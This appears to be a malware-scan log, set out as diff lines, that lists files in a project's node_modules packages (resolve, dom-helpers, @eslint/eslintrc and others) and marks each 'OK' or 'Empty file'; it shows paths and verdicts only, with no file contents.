+/scan/node_modules/fast-json-stable-stringify/package.json: OK
+/scan/node_modules/fast-json-stable-stringify/.github/FUNDING.yml: OK
+/scan/node_modules/fast-json-stable-stringify/index.d.ts: OK
+/scan/node_modules/fast-json-stable-stringify/.travis.yml: OK
+/scan/node_modules/path-expression-matcher/LICENSE: OK
+/scan/node_modules/path-expression-matcher/README.md: OK
+/scan/node_modules/path-expression-matcher/package.json: OK
+/scan/node_modules/path-expression-matcher/lib/pem.min.js: OK
+/scan/node_modules/path-expression-matcher/lib/pem.min.js.map: OK
+/scan/node_modules/path-expression-matcher/lib/pem.cjs: OK
+/scan/node_modules/path-expression-matcher/lib/pem.d.cts: OK
+/scan/node_modules/path-expression-matcher/src/index.js: OK
+/scan/node_modules/path-expression-matcher/src/Matcher.js: OK
+/scan/node_modules/path-expression-matcher/src/Expression.js: OK
+/scan/node_modules/path-expression-matcher/src/ExpressionSet.js: OK
+/scan/node_modules/path-expression-matcher/src/index.d.ts: OK
+/scan/node_modules/detect-libc/LICENSE: OK
+/scan/node_modules/detect-libc/README.md: OK
+/scan/node_modules/detect-libc/package.json: OK
+/scan/node_modules/detect-libc/lib/filesystem.js: OK
+/scan/node_modules/detect-libc/lib/detect-libc.js: OK
+/scan/node_modules/detect-libc/lib/process.js: OK
+/scan/node_modules/detect-libc/lib/elf.js: OK
+/scan/node_modules/detect-libc/index.d.ts: OK
+/scan/node_modules/balanced-match/LICENSE.md: OK
+/scan/node_modules/balanced-match/index.js: OK
+/scan/node_modules/balanced-match/README.md: OK
+/scan/node_modules/balanced-match/package.json: OK
+/scan/node_modules/balanced-match/.github/FUNDING.yml: OK
+/scan/node_modules/path-exists/license: OK
+/scan/node_modules/path-exists/index.js: OK
+/scan/node_modules/path-exists/readme.md: OK
+/scan/node_modules/path-exists/package.json: OK
+/scan/node_modules/path-exists/index.d.ts: OK
+/scan/node_modules/abs-svg-path/index.js: OK
+/scan/node_modules/abs-svg-path/Readme.md: OK
+/scan/node_modules/abs-svg-path/package.json: OK
+/scan/node_modules/check-error/LICENSE: OK
+/scan/node_modules/check-error/index.js: OK
+/scan/node_modules/check-error/README.md: OK
+/scan/node_modules/check-error/package.json: OK
+/scan/node_modules/check-error/check-error.js: OK
+/scan/node_modules/lodash.once/LICENSE: OK
+/scan/node_modules/lodash.once/index.js: OK
+/scan/node_modules/lodash.once/README.md: OK
+/scan/node_modules/lodash.once/package.json: OK
+/scan/node_modules/resolve/LICENSE: OK
+/scan/node_modules/resolve/test/shadowed_core.js: OK
+/scan/node_modules/resolve/test/dotdot.js: OK
+/scan/node_modules/resolve/test/pathfilter/deep_ref/main.js: Empty file
+/scan/node_modules/resolve/test/home_paths.js: OK
+/scan/node_modules/resolve/test/core.js: OK
+/scan/node_modules/resolve/test/filter_sync.js: OK
+/scan/node_modules/resolve/test/subdirs.js: OK
+/scan/node_modules/resolve/test/node_path.js: OK
+/scan/node_modules/resolve/test/node_path/x/ccc/index.js: OK
+/scan/node_modules/resolve/test/node_path/x/aaa/index.js: OK
+/scan/node_modules/resolve/test/node_path/y/bbb/index.js: OK
+/scan/node_modules/resolve/test/node_path/y/ccc/index.js: OK
+/scan/node_modules/resolve/test/pathfilter_sync.js: OK
+/scan/node_modules/resolve/test/module_dir.js: OK
+/scan/node_modules/resolve/test/symlinks.js: OK
+/scan/node_modules/resolve/test/faulty_basedir.js: OK
+/scan/node_modules/resolve/test/resolver_sync.js: OK
+/scan/node_modules/resolve/test/homedir.js: OK
+/scan/node_modules/resolve/test/dotdot/abc/index.js: OK
+/scan/node_modules/resolve/test/dotdot/index.js: OK
+/scan/node_modules/resolve/test/default_paths.js: OK
+/scan/node_modules/resolve/test/mock.js: OK
+/scan/node_modules/resolve/test/precedence.js: OK
+/scan/node_modules/resolve/test/home_paths_sync.js: OK
+/scan/node_modules/resolve/test/module_dir/ymodules/aaa/index.js: OK
+/scan/node_modules/resolve/test/module_dir/xmodules/aaa/index.js: OK
+/scan/node_modules/resolve/test/module_dir/zmodules/bbb/main.js: OK
+/scan/node_modules/resolve/test/module_dir/zmodules/bbb/package.json: OK
+/scan/node_modules/resolve/test/nonstring.js: OK
+/scan/node_modules/resolve/test/mock_sync.js: OK
+/scan/node_modules/resolve/test/filter.js: OK
+/scan/node_modules/resolve/test/precedence/bbb/main.js: OK
+/scan/node_modules/resolve/test/precedence/bbb.js: OK
+/scan/node_modules/resolve/test/precedence/aaa.js: OK
+/scan/node_modules/resolve/test/precedence/aaa/index.js: OK
+/scan/node_modules/resolve/test/precedence/aaa/main.js: OK
+/scan/node_modules/resolve/test/shadowed_core/node_modules/util/index.js: Empty file
+/scan/node_modules/resolve/test/resolver/mug.coffee: Empty file
+/scan/node_modules/resolve/test/resolver/same_names/foo/index.js: OK
+/scan/node_modules/resolve/test/resolver/same_names/foo.js: OK
+/scan/node_modules/resolve/test/resolver/cup.coffee: OK
+/scan/node_modules/resolve/test/resolver/symlinked/_/node_modules/foo.js: Empty file
+/scan/node_modules/resolve/test/resolver/symlinked/_/symlink_target/.gitkeep: Empty file
+/scan/node_modules/resolve/test/resolver/symlinked/package/package.json: OK
+/scan/node_modules/resolve/test/resolver/symlinked/package/bar.js: OK
+/scan/node_modules/resolve/test/resolver/without_basedir/main.js: OK
+/scan/node_modules/resolve/test/resolver/dot_main/index.js: OK
+/scan/node_modules/resolve/test/resolver/dot_main/package.json: OK
+/scan/node_modules/resolve/test/resolver/invalid_main/package.json: OK
+/scan/node_modules/resolve/test/resolver/multirepo/package.json: OK
+/scan/node_modules/resolve/test/resolver/multirepo/packages/package-b/index.js: Empty file
+/scan/node_modules/resolve/test/resolver/multirepo/packages/package-b/package.json: OK
+/scan/node_modules/resolve/test/resolver/multirepo/packages/package-a/index.js: OK
+/scan/node_modules/resolve/test/resolver/multirepo/packages/package-a/package.json: OK
+/scan/node_modules/resolve/test/resolver/multirepo/lerna.json: OK
+/scan/node_modules/resolve/test/resolver/dot_slash_main/index.js: OK
+/scan/node_modules/resolve/test/resolver/dot_slash_main/package.json: OK
+/scan/node_modules/resolve/test/resolver/mug.js: Empty file
+/scan/node_modules/resolve/test/resolver/foo.js: OK
+/scan/node_modules/resolve/test/resolver/quux/foo/index.js: OK
+/scan/node_modules/resolve/test/resolver/baz/doom.js: Empty file
+/scan/node_modules/resolve/test/resolver/baz/quux.js: OK
+/scan/node_modules/resolve/test/resolver/baz/package.json: OK
+/scan/node_modules/resolve/test/resolver/browser_field/a.js: Empty file
+/scan/node_modules/resolve/test/resolver/browser_field/package.json: OK
+/scan/node_modules/resolve/test/resolver/browser_field/b.js: Empty file
+/scan/node_modules/resolve/test/resolver/nested_symlinks/mylib/sync.js: OK
+/scan/node_modules/resolve/test/resolver/nested_symlinks/mylib/async.js: OK
+/scan/node_modules/resolve/test/resolver/nested_symlinks/mylib/package.json: OK
+/scan/node_modules/resolve/test/resolver/incorrect_main/index.js: OK
+/scan/node_modules/resolve/test/resolver/incorrect_main/package.json: OK
+/scan/node_modules/resolve/test/resolver/false_main/index.js: Empty file
+/scan/node_modules/resolve/test/resolver/false_main/package.json: OK
+/scan/node_modules/resolve/test/resolver/other_path/root.js: Empty file
+/scan/node_modules/resolve/test/resolver/other_path/lib/other-lib.js: Empty file
+/scan/node_modules/resolve/test/resolver.js: OK
+/scan/node_modules/resolve/test/node-modules-paths.js: OK
+/scan/node_modules/resolve/test/pathfilter.js: OK
+/scan/node_modules/resolve/bin/resolve: OK
+/scan/node_modules/resolve/example/sync.js: OK
+/scan/node_modules/resolve/example/async.js: OK
+/scan/node_modules/resolve/sync.js: OK
+/scan/node_modules/resolve/.eslintrc: OK
+/scan/node_modules/resolve/.claude/settings.local.json: OK
+/scan/node_modules/resolve/.claude/notes.md: OK
+/scan/node_modules/resolve/index.js: OK
+/scan/node_modules/resolve/.editorconfig: OK
+/scan/node_modules/resolve/readme.markdown: OK
+/scan/node_modules/resolve/async.js: OK
+/scan/node_modules/resolve/package.json: OK
+/scan/node_modules/resolve/.github/FUNDING.yml: OK
+/scan/node_modules/resolve/.github/THREAT_MODEL.md: OK
+/scan/node_modules/resolve/.github/INCIDENT_RESPONSE_PROCESS.md: OK
+/scan/node_modules/resolve/lib/core.js: OK
+/scan/node_modules/resolve/lib/caller.js: OK
+/scan/node_modules/resolve/lib/sync.js: OK
+/scan/node_modules/resolve/lib/normalize-options.js: OK
+/scan/node_modules/resolve/lib/homedir.js: OK
+/scan/node_modules/resolve/lib/core.json: OK
+/scan/node_modules/resolve/lib/async.js: OK
+/scan/node_modules/resolve/lib/is-core.js: OK
+/scan/node_modules/resolve/lib/node-modules-paths.js: OK
+/scan/node_modules/resolve/eslint.config.mjs: OK
+/scan/node_modules/resolve/SECURITY.md: OK
+/scan/node_modules/bytes/LICENSE: OK
+/scan/node_modules/bytes/History.md: OK
+/scan/node_modules/bytes/index.js: OK
+/scan/node_modules/bytes/Readme.md: OK
+/scan/node_modules/bytes/package.json: OK
+/scan/node_modules/retry/License: OK
+/scan/node_modules/retry/example/stop.js: OK
+/scan/node_modules/retry/example/dns.js: OK
+/scan/node_modules/retry/index.js: OK
+/scan/node_modules/retry/README.md: OK
+/scan/node_modules/retry/package.json: OK
+/scan/node_modules/retry/lib/retry_operation.js: OK
+/scan/node_modules/retry/lib/retry.js: OK
+/scan/node_modules/dom-helpers/addEventListener/package.json: OK
+/scan/node_modules/dom-helpers/parents/package.json: OK
+/scan/node_modules/dom-helpers/ownerWindow/package.json: OK
+/scan/node_modules/dom-helpers/childElements/package.json: OK
+/scan/node_modules/dom-helpers/animate/package.json: OK
+/scan/node_modules/dom-helpers/childNodes/package.json: OK
+/scan/node_modules/dom-helpers/remove/package.json: OK
+/scan/node_modules/dom-helpers/hyphenateStyle/package.json: OK
+/scan/node_modules/dom-helpers/removeEventListener/package.json: OK
+/scan/node_modules/dom-helpers/isDocument/package.json: OK
+/scan/node_modules/dom-helpers/isWindow/package.json: OK
+/scan/node_modules/dom-helpers/attribute/package.json: OK
+/scan/node_modules/dom-helpers/isTransform/package.json: OK
+/scan/node_modules/dom-helpers/camelize/package.json: OK
+/scan/node_modules/dom-helpers/LICENSE: OK
+/scan/node_modules/dom-helpers/camelizeStyle/package.json: OK
+/scan/node_modules/dom-helpers/width/package.json: OK
+/scan/node_modules/dom-helpers/css/package.json: OK
+/scan/node_modules/dom-helpers/collectSiblings/package.json: OK
+/scan/node_modules/dom-helpers/scrollTop/package.json: OK
+/scan/node_modules/dom-helpers/esm/scrollTo.js: OK
+/scan/node_modules/dom-helpers/esm/remove.js: OK
+/scan/node_modules/dom-helpers/esm/siblings.d.ts: OK
+/scan/node_modules/dom-helpers/esm/childNodes.js: OK
+/scan/node_modules/dom-helpers/esm/width.d.ts: OK
+/scan/node_modules/dom-helpers/esm/ownerWindow.d.ts: OK
+/scan/node_modules/dom-helpers/esm/getScrollAccessor.js: OK
+/scan/node_modules/dom-helpers/esm/animationFrame.js: OK
+/scan/node_modules/dom-helpers/esm/addEventListener.d.ts: OK
+/scan/node_modules/dom-helpers/esm/scrollTop.d.ts: OK
+/scan/node_modules/dom-helpers/esm/removeEventListener.d.ts: OK
+/scan/node_modules/dom-helpers/esm/triggerEvent.js: OK
+/scan/node_modules/dom-helpers/esm/animationFrame.d.ts: OK
+/scan/node_modules/dom-helpers/esm/ownerDocument.js: OK
+/scan/node_modules/dom-helpers/esm/collectSiblings.d.ts: OK
+/scan/node_modules/dom-helpers/esm/hasClass.d.ts: OK
+/scan/node_modules/dom-helpers/esm/animate.d.ts: OK
+/scan/node_modules/dom-helpers/esm/offset.js: OK
+/scan/node_modules/dom-helpers/esm/insertAfter.d.ts: OK
+/scan/node_modules/dom-helpers/esm/activeElement.js: OK
+/scan/node_modules/dom-helpers/esm/attribute.d.ts: OK
+/scan/node_modules/dom-helpers/esm/camelizeStyle.js: OK
+/scan/node_modules/dom-helpers/esm/removeClass.js: OK
+/scan/node_modules/dom-helpers/esm/childElements.d.ts: OK
+/scan/node_modules/dom-helpers/esm/types.d.ts: OK
+/scan/node_modules/dom-helpers/esm/matches.js: OK
+/scan/node_modules/dom-helpers/esm/isTransform.js: OK
+/scan/node_modules/dom-helpers/esm/offsetParent.js: OK
+/scan/node_modules/dom-helpers/esm/getComputedStyle.d.ts: OK
+/scan/node_modules/dom-helpers/esm/canUseDOM.d.ts: OK
+/scan/node_modules/dom-helpers/esm/clear.d.ts: OK
+/scan/node_modules/dom-helpers/esm/hasClass.js: OK
+/scan/node_modules/dom-helpers/esm/hyphenate.js: OK
+/scan/node_modules/dom-helpers/esm/addClass.js: OK
+/scan/node_modules/dom-helpers/esm/scrollbarSize.d.ts: OK
+/scan/node_modules/dom-helpers/esm/camelize.js: OK
+/scan/node_modules/dom-helpers/esm/collectElements.d.ts: OK
+/scan/node_modules/dom-helpers/esm/activeElement.d.ts: OK
+/scan/node_modules/dom-helpers/esm/hyphenateStyle.d.ts: OK
+/scan/node_modules/dom-helpers/esm/filterEventHandler.js: OK
+/scan/node_modules/dom-helpers/esm/animate.js: OK
+/scan/node_modules/dom-helpers/esm/hyphenateStyle.js: OK
+/scan/node_modules/dom-helpers/esm/scrollParent.d.ts: OK
+/scan/node_modules/dom-helpers/esm/querySelectorAll.d.ts: OK
+/scan/node_modules/dom-helpers/esm/ownerDocument.d.ts: OK
+/scan/node_modules/dom-helpers/esm/camelizeStyle.d.ts: OK
+/scan/node_modules/dom-helpers/esm/scrollTop.js: OK
+/scan/node_modules/dom-helpers/esm/height.js: OK
+/scan/node_modules/dom-helpers/esm/collectElements.js: OK
+/scan/node_modules/dom-helpers/esm/index.js: OK
+/scan/node_modules/dom-helpers/esm/clear.js: OK
+/scan/node_modules/dom-helpers/esm/height.d.ts: OK
+/scan/node_modules/dom-helpers/esm/toggleClass.js: OK
+/scan/node_modules/dom-helpers/esm/addEventListener.js: OK
+/scan/node_modules/dom-helpers/esm/closest.d.ts: OK
+/scan/node_modules/dom-helpers/esm/scrollbarSize.js: OK
+/scan/node_modules/dom-helpers/esm/scrollLeft.js: OK
+/scan/node_modules/dom-helpers/esm/parents.d.ts: OK
+/scan/node_modules/dom-helpers/esm/position.d.ts: OK
+/scan/node_modules/dom-helpers/esm/attribute.js: OK
+/scan/node_modules/dom-helpers/esm/listen.js: OK
+/scan/node_modules/dom-helpers/esm/hyphenate.d.ts: OK
+/scan/node_modules/dom-helpers/esm/nextUntil.js: OK
+/scan/node_modules/dom-helpers/esm/scrollTo.d.ts: OK
+/scan/node_modules/dom-helpers/esm/childNodes.d.ts: OK
+/scan/node_modules/dom-helpers/esm/listen.d.ts: OK
+/scan/node_modules/dom-helpers/esm/getScrollAccessor.d.ts: OK
+/scan/node_modules/dom-helpers/esm/scrollParent.js: OK
+/scan/node_modules/dom-helpers/esm/addClass.d.ts: OK
+/scan/node_modules/dom-helpers/esm/transitionEnd.js: OK
+/scan/node_modules/dom-helpers/esm/prepend.d.ts: OK
+/scan/node_modules/dom-helpers/esm/isVisible.js: OK
+/scan/node_modules/dom-helpers/esm/offsetParent.d.ts: OK
+/scan/node_modules/dom-helpers/esm/isInput.d.ts: OK
+/scan/node_modules/dom-helpers/esm/remove.d.ts: OK
+/scan/node_modules/dom-helpers/esm/closest.js: OK
+/scan/node_modules/dom-helpers/esm/isWindow.js: OK
+/scan/node_modules/dom-helpers/esm/isInput.js: OK
+/scan/node_modules/dom-helpers/esm/offset.d.ts: OK
+/scan/node_modules/dom-helpers/esm/camelize.d.ts: OK
+/scan/node_modules/dom-helpers/esm/filterEventHandler.d.ts: OK
+/scan/node_modules/dom-helpers/esm/collectSiblings.js: OK
+/scan/node_modules/dom-helpers/esm/isVisible.d.ts: OK
+/scan/node_modules/dom-helpers/esm/nextUntil.d.ts: OK
+/scan/node_modules/dom-helpers/esm/css.d.ts: OK
+/scan/node_modules/dom-helpers/esm/querySelectorAll.js: OK
+/scan/node_modules/dom-helpers/esm/parents.js: OK
+/scan/node_modules/dom-helpers/esm/contains.js: OK
+/scan/node_modules/dom-helpers/esm/isDocument.d.ts: OK
+/scan/node_modules/dom-helpers/esm/siblings.js: OK
+/scan/node_modules/dom-helpers/esm/triggerEvent.d.ts: OK
+/scan/node_modules/dom-helpers/esm/prepend.js: OK
+/scan/node_modules/dom-helpers/esm/childElements.js: OK
+/scan/node_modules/dom-helpers/esm/toggleClass.d.ts: OK
+/scan/node_modules/dom-helpers/esm/isDocument.js: OK
+/scan/node_modules/dom-helpers/esm/css.js: OK
+/scan/node_modules/dom-helpers/esm/matches.d.ts: OK
+/scan/node_modules/dom-helpers/esm/removeClass.d.ts: OK
+/scan/node_modules/dom-helpers/esm/ownerWindow.js: OK
+/scan/node_modules/dom-helpers/esm/getComputedStyle.js: OK
+/scan/node_modules/dom-helpers/esm/index.d.ts: OK
+/scan/node_modules/dom-helpers/esm/scrollLeft.d.ts: OK
+/scan/node_modules/dom-helpers/esm/isWindow.d.ts: OK
+/scan/node_modules/dom-helpers/esm/text.d.ts: OK
+/scan/node_modules/dom-helpers/esm/transitionEnd.d.ts: OK
+/scan/node_modules/dom-helpers/esm/text.js: OK
+/scan/node_modules/dom-helpers/esm/removeEventListener.js: OK
+/scan/node_modules/dom-helpers/esm/contains.d.ts: OK
+/scan/node_modules/dom-helpers/esm/width.js: OK
+/scan/node_modules/dom-helpers/esm/canUseDOM.js: OK
+/scan/node_modules/dom-helpers/esm/insertAfter.js: OK
+/scan/node_modules/dom-helpers/esm/position.js: OK
+/scan/node_modules/dom-helpers/esm/isTransform.d.ts: OK
+/scan/node_modules/dom-helpers/getComputedStyle/package.json: OK
+/scan/node_modules/dom-helpers/triggerEvent/package.json: OK
+/scan/node_modules/dom-helpers/collectElements/package.json: OK
+/scan/node_modules/dom-helpers/isVisible/package.json: OK
+/scan/node_modules/dom-helpers/height/package.json: OK
+/scan/node_modules/dom-helpers/position/package.json: OK
+/scan/node_modules/dom-helpers/listen/package.json: OK
+/scan/node_modules/dom-helpers/matches/package.json: OK
+/scan/node_modules/dom-helpers/prepend/package.json: OK
+/scan/node_modules/dom-helpers/scrollbarSize/package.json: OK
+/scan/node_modules/dom-helpers/contains/package.json: OK
+/scan/node_modules/dom-helpers/README.md: OK
+/scan/node_modules/dom-helpers/offset/package.json: OK
+/scan/node_modules/dom-helpers/clear/package.json: OK
+/scan/node_modules/dom-helpers/filterEventHandler/package.json: OK
+/scan/node_modules/dom-helpers/package.json: OK
+/scan/node_modules/dom-helpers/toggleClass/package.json: OK
+/scan/node_modules/dom-helpers/isInput/package.json: OK
+/scan/node_modules/dom-helpers/hasClass/package.json: OK
+/scan/node_modules/dom-helpers/canUseDOM/package.json: OK
+/scan/node_modules/dom-helpers/transitionEnd/package.json: OK
+/scan/node_modules/dom-helpers/hyphenate/package.json: OK
+/scan/node_modules/dom-helpers/activeElement/package.json: OK
+/scan/node_modules/dom-helpers/text/package.json: OK
+/scan/node_modules/dom-helpers/offsetParent/package.json: OK
+/scan/node_modules/dom-helpers/getScrollAccessor/package.json: OK
+/scan/node_modules/dom-helpers/closest/package.json: OK
+/scan/node_modules/dom-helpers/scrollLeft/package.json: OK
+/scan/node_modules/dom-helpers/insertAfter/package.json: OK
+/scan/node_modules/dom-helpers/removeClass/package.json: OK
+/scan/node_modules/dom-helpers/animationFrame/package.json: OK
+/scan/node_modules/dom-helpers/ownerDocument/package.json: OK
+/scan/node_modules/dom-helpers/scrollTo/package.json: OK
+/scan/node_modules/dom-helpers/scrollParent/package.json: OK
+/scan/node_modules/dom-helpers/siblings/package.json: OK
+/scan/node_modules/dom-helpers/nextUntil/package.json: OK
+/scan/node_modules/dom-helpers/querySelectorAll/package.json: OK
+/scan/node_modules/dom-helpers/addClass/package.json: OK
+/scan/node_modules/dom-helpers/cjs/scrollTo.js: OK
+/scan/node_modules/dom-helpers/cjs/remove.js: OK
+/scan/node_modules/dom-helpers/cjs/siblings.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/childNodes.js: OK
+/scan/node_modules/dom-helpers/cjs/width.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/ownerWindow.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/getScrollAccessor.js: OK
+/scan/node_modules/dom-helpers/cjs/animationFrame.js: OK
+/scan/node_modules/dom-helpers/cjs/addEventListener.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/scrollTop.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/removeEventListener.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/triggerEvent.js: OK
+/scan/node_modules/dom-helpers/cjs/animationFrame.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/ownerDocument.js: OK
+/scan/node_modules/dom-helpers/cjs/collectSiblings.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/hasClass.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/animate.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/offset.js: OK
+/scan/node_modules/dom-helpers/cjs/insertAfter.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/activeElement.js: OK
+/scan/node_modules/dom-helpers/cjs/attribute.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/camelizeStyle.js: OK
+/scan/node_modules/dom-helpers/cjs/removeClass.js: OK
+/scan/node_modules/dom-helpers/cjs/childElements.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/types.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/matches.js: OK
+/scan/node_modules/dom-helpers/cjs/isTransform.js: OK
+/scan/node_modules/dom-helpers/cjs/offsetParent.js: OK
+/scan/node_modules/dom-helpers/cjs/getComputedStyle.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/canUseDOM.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/clear.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/hasClass.js: OK
+/scan/node_modules/dom-helpers/cjs/hyphenate.js: OK
+/scan/node_modules/dom-helpers/cjs/addClass.js: OK
+/scan/node_modules/dom-helpers/cjs/scrollbarSize.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/camelize.js: OK
+/scan/node_modules/dom-helpers/cjs/collectElements.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/activeElement.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/hyphenateStyle.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/filterEventHandler.js: OK
+/scan/node_modules/dom-helpers/cjs/animate.js: OK
+/scan/node_modules/dom-helpers/cjs/hyphenateStyle.js: OK
+/scan/node_modules/dom-helpers/cjs/scrollParent.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/querySelectorAll.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/ownerDocument.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/camelizeStyle.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/scrollTop.js: OK
+/scan/node_modules/dom-helpers/cjs/height.js: OK
+/scan/node_modules/dom-helpers/cjs/collectElements.js: OK
+/scan/node_modules/dom-helpers/cjs/index.js: OK
+/scan/node_modules/dom-helpers/cjs/clear.js: OK
+/scan/node_modules/dom-helpers/cjs/height.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/toggleClass.js: OK
+/scan/node_modules/dom-helpers/cjs/addEventListener.js: OK
+/scan/node_modules/dom-helpers/cjs/closest.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/scrollbarSize.js: OK
+/scan/node_modules/dom-helpers/cjs/scrollLeft.js: OK
+/scan/node_modules/dom-helpers/cjs/parents.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/position.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/attribute.js: OK
+/scan/node_modules/dom-helpers/cjs/listen.js: OK
+/scan/node_modules/dom-helpers/cjs/hyphenate.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/nextUntil.js: OK
+/scan/node_modules/dom-helpers/cjs/scrollTo.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/childNodes.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/listen.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/getScrollAccessor.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/scrollParent.js: OK
+/scan/node_modules/dom-helpers/cjs/addClass.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/transitionEnd.js: OK
+/scan/node_modules/dom-helpers/cjs/prepend.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/isVisible.js: OK
+/scan/node_modules/dom-helpers/cjs/offsetParent.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/isInput.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/remove.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/closest.js: OK
+/scan/node_modules/dom-helpers/cjs/isWindow.js: OK
+/scan/node_modules/dom-helpers/cjs/isInput.js: OK
+/scan/node_modules/dom-helpers/cjs/offset.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/camelize.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/filterEventHandler.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/collectSiblings.js: OK
+/scan/node_modules/dom-helpers/cjs/isVisible.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/nextUntil.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/css.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/querySelectorAll.js: OK
+/scan/node_modules/dom-helpers/cjs/parents.js: OK
+/scan/node_modules/dom-helpers/cjs/contains.js: OK
+/scan/node_modules/dom-helpers/cjs/isDocument.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/siblings.js: OK
+/scan/node_modules/dom-helpers/cjs/triggerEvent.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/prepend.js: OK
+/scan/node_modules/dom-helpers/cjs/childElements.js: OK
+/scan/node_modules/dom-helpers/cjs/toggleClass.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/isDocument.js: OK
+/scan/node_modules/dom-helpers/cjs/css.js: OK
+/scan/node_modules/dom-helpers/cjs/matches.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/removeClass.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/ownerWindow.js: OK
+/scan/node_modules/dom-helpers/cjs/getComputedStyle.js: OK
+/scan/node_modules/dom-helpers/cjs/index.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/scrollLeft.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/isWindow.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/text.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/transitionEnd.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/text.js: OK
+/scan/node_modules/dom-helpers/cjs/removeEventListener.js: OK
+/scan/node_modules/dom-helpers/cjs/contains.d.ts: OK
+/scan/node_modules/dom-helpers/cjs/width.js: OK
+/scan/node_modules/dom-helpers/cjs/canUseDOM.js: OK
+/scan/node_modules/dom-helpers/cjs/insertAfter.js: OK
+/scan/node_modules/dom-helpers/cjs/position.js: OK
+/scan/node_modules/dom-helpers/cjs/isTransform.d.ts: OK
+/scan/node_modules/@eslint/js/LICENSE: OK
+/scan/node_modules/@eslint/js/README.md: OK
+/scan/node_modules/@eslint/js/package.json: OK
+/scan/node_modules/@eslint/js/src/index.js: OK
+/scan/node_modules/@eslint/js/src/configs/eslint-recommended.js: OK
+/scan/node_modules/@eslint/js/src/configs/eslint-all.js: OK
+/scan/node_modules/@eslint/eslintrc/LICENSE: OK
+/scan/node_modules/@eslint/eslintrc/dist/eslintrc.cjs: OK
+/scan/node_modules/@eslint/eslintrc/dist/eslintrc.cjs.map: OK
+/scan/node_modules/@eslint/eslintrc/dist/eslintrc-universal.cjs.map: OK
+/scan/node_modules/@eslint/eslintrc/dist/eslintrc-universal.cjs: OK
+/scan/node_modules/@eslint/eslintrc/README.md: OK
+/scan/node_modules/@eslint/eslintrc/package.json: OK
+/scan/node_modules/@eslint/eslintrc/universal.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/config-array/config-dependency.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/config-array/extracted-config.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/config-array/override-tester.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/config-array/config-array.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/config-array/ignore-pattern.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/config-array/index.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/flat-compat.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/cascading-config-array-factory.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/index.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/shared/naming.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/shared/types.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/shared/relative-module-resolver.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/shared/deprecation-warnings.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/shared/config-ops.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/shared/ajv.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/shared/config-validator.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/index-universal.js: OK
+/scan/node_modules/@eslint/eslintrc/lib/config-array-factory.js: OK
+/scan/node_modules/@eslint/eslintrc/conf/config-schema.js: OK
+/scan/node_modules/@eslint/eslintrc/conf/environments.js: OK
+/scan/node_modules/call-bind-apply-helpers/reflectApply.d.ts: OK
+/scan/node_modules/call-bind-apply-helpers/functionApply.js: OK
+/scan/node_modules/call-bind-apply-helpers/LICENSE: OK
+/scan/node_modules/call-bind-apply-helpers/functionCall.d.ts: OK
+/scan/node_modules/call-bind-apply-helpers/test/index.js: OK
+/scan/node_modules/call-bind-apply-helpers/CHANGELOG.md: OK
